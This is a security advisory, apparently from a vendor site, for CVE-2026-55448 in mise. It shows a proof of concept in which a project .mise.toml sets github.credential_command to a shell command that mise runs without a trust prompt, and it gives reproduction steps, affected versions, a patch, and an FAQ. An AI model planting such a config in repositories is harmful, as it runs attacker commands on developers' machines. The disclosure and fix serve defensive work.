CVE-2026-55448

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

1. Settings::try_get() preloads settings from local config files.
2. parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.
3. resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.
4. get_credential_command_token() executes the value with sh -c.

The main command-execution path is:

let result = std::process::Command::new("sh")
    .arg("-c")
    .arg(cmd)
    .arg("mise-credential-helper")
    .arg(host)
    .output()

If a local project file sets:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

• Docker
• linux-arm64
• mise v2026.3.17

Negative control:

export GITHUB_TOKEN=env_token
mise github token --unmask

Observed:

github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missing

Primary exploit:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmask

Observed:

github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

/tmp/mise-proof.txt => credential_command_rce

Related version check:

• v2026.3.14: credential_command is rejected as an unknown field
• v2026.3.15: the same PoC executes and returns source: credential_command

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

• arbitrary command execution as the victim user
• no trust prompt
• no need for [env], [hooks], tasks, or templates

Important limitation:

• if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-55448 has a CVSS score of 6.3 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2026.6.4); upgrading removes the vulnerable code path.

Kodem intelligence

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.github.credential_command = None;
    }

    Ok(settings)
}

1. What is CVE-2026-55448? CVE-2026-55448 is a medium-severity OS command injection vulnerability in mise (rust), affecting versions >= 2026.3.15, < 2026.6.4. It is fixed in 2026.6.4. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-55448? CVE-2026-55448 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mise are affected by CVE-2026-55448? mise (rust) versions >= 2026.3.15, < 2026.6.4 is affected.
4. Is there a fix for CVE-2026-55448? Yes. CVE-2026-55448 is fixed in 2026.6.4. Upgrade to this version or later.
5. Is CVE-2026-55448 exploitable, and should I be worried? Whether CVE-2026-55448 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-55448 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-55448? Upgrade mise to 2026.6.4 or later.